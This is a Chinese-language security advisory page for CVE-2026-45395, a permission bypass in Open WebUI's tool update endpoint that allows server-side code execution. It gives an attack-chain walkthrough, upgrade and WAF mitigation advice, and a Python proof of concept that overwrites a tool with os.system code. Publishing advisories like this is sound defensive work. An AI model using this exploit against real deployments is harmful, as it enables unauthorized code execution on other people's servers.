IPBUF安全漏洞报告
English
CVE-2026-45395 CVSS 7.2 高危

CVE-2026-45395 Open WebUI权限绕过致代码执行

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45395
漏洞类型
权限绕过
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

Open WebUI权限绕过远程代码执行RCECVE-2026-45395

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.5版本之前,该工具更新端点(POST /api/v1/tools/id/{id}/update)缺少了工具创建端点中存在的workspace.tools权限检查。这允许被明确拒绝工具管理能力的用户(管理员认为其不可信)替换工具的服务器端Python内容并触发执行,从而绕过预期的workspace.tools安全边界。该漏洞已在0.9.5版本中修复。

技术细节

该漏洞的核心在于Open WebUI不同API端点之间权限校验逻辑的不一致。虽然开发人员在工具创建端点正确实施了`workspace.tools`权限检查,以防止未授权用户定义可执行代码,但在工具更新端点(POST /api/v1/tools/id/{id}/update)中却遗漏了这一关键的安全控制。鉴于攻击需要高权限账户(PR:H),攻击者通常是拥有登录权限但被管理员限制代码编写能力的用户。利用此漏洞,攻击者无需通过正常的创建流程,直接向更新端点发送包含恶意Python脚本的请求。由于缺乏权限校验,服务器会接受请求并覆盖原有工具的代码。当该工具被后续调用时,恶意Python代码即在服务器上下文中执行,导致远程代码执行(RCE),完全绕过了旨在隔离不可信用户的安全策略。

攻击链分析

STEP 1
侦察与发现
攻击者登录Open WebUI,枚举可用的工具ID,确定目标是已存在的工具。
STEP 2
身份认证
攻击者使用高权限账号登录,尽管该账号被管理员明确禁止了工具管理(workspace.tools)权限。
STEP 3
漏洞利用
攻击者向POST /api/v1/tools/id/{id}/update端点发送精心构造的请求,载荷包含恶意的Python代码。由于缺少权限校验,服务器接受请求并更新工具内容。
STEP 4
代码执行
等待或诱导系统/管理员调用被修改的工具,触发服务器端执行恶意Python代码,从而获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:3000" tool_id = "1" # ID of an existing tool to hijack auth_token = "YOUR_SESSION_TOKEN" # Token from a high-privilege but restricted user # Malicious Python code to execute malicious_python_payload = """ import os # Example: Execute a shell command os.system('touch /tmp/pwned') """ headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # The vulnerable endpoint missing the workspace.tools permission check vuln_endpoint = f"{target_url}/api/v1/tools/id/{tool_id}/update" payload_data = { "content": malicious_python_payload } try: # Send the update request to overwrite the tool's code response = requests.post(vuln_endpoint, json=payload_data, headers=headers) if response.status_code == 200: print("[+] Tool successfully updated with malicious code.") print("[+] The code will execute when the tool is invoked.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Open WebUI < 0.9.5

防御指南

临时缓解措施
建议立即将Open WebUI升级到0.9.5版本以彻底修复此漏洞。如果暂时无法升级,应通过Web应用防火墙(WAF)拦截针对/api/v1/tools/id/{id}/update的POST请求,或严格限制该接口仅受信任的管理员IP访问,以防止权限绕过攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表